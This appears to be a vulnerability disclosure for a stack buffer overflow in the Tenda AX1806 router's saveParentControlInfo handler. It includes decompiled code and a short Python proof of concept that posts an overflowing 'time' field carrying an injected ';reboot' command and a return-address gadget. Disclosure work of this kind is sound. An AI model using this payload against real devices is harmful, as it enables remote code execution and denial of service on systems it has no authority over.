

main IoT-CVE / Tenda / AX1806 / 12 /



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Affect device: Tenda Router AX1806 v1.0.0.1(<https://www.tenda.com.cn/download/detail-3306.html>)

Vulnerability Type: Stack overflow

Impact: Remote Code Execution && Denial of Service(DoS)

Vulnerability description

This vulnerability lies in the `/goform/saveParentControlInfo` page which influences the latest version of Tenda Router AX1806 v1.0.0.1:

<https://www.tenda.com.cn/download/detail-3306.html>

There is a stack buffer overflow vulnerability in the `saveParentControlInfo` function.

First, this function calls the `sub_60BE0` function.

```

24  memset(s, 0, sizeof(s));
25  v19 = 0;
26  memset(v21, 0, 0x100u);
27  v2 = webgetvar(a1, (int)"deviceId", (int)&byte_1C2CF0);
28  v3 = webgetvar(a1, (int)"deviceName", (int)&byte_1C2CF0);
29  if ( *v3 )
30      setdevicename(v3, v2);
31  result = sub_60BE0(a1);
32  if ( !result )
33  {
34      v5 = (char *)malloc(0x254u);
35      memset(v5, 0, 0x254u);
36      strncpy(v5 + 2, v2);

```

In the sub_60BE0 function, the v12 variable is directly retrieved from the http request parameter time .

```

13  v2 = webgetvar(a1, (int)"time", (int)&byte_1C2CF0);
14  if ( *v2 )
15  {
16      v6 = (int)v2;
17      memset(v10, 0, sizeof(v10));
18      memset(v11, 0, 0x20u);
19      _isoc99_sscanf(v6, "%[^\n]-%s", v10, v11);
20      if ( strcmp(v10, v11) )
21          return 0;
22      sub_29750(
23          a1,
24          "HTTP/1.1 200 OK\nContent-type: text/plain; charset=utf-8\nPragma: no-cache\nCache-Cont
25          v7,
26          v8);
27  }

```

Then v12 will be splice to stack by function sscanf without any security check, which causes stack overflow.

So by POSTing the page /goform/saveParentControlInfo with proper time , the attacker can easily perform a **Remote Code Execution** with carefully crafted overflow data.

POC

The exploit of Remote Code Execution:

```

from pwn import*
import requests

url = "https://192.168.2.1/goform/saveParentControlInfo"

gadget = 0x37208

```

```
time = b"a" * 0x58
time += b";reboot" # command you want to execute
time += b"-"
time += b"b" * 0x34
time += p32(gadget)

r = requests.post(url, data = {"time":time},verify=False )
```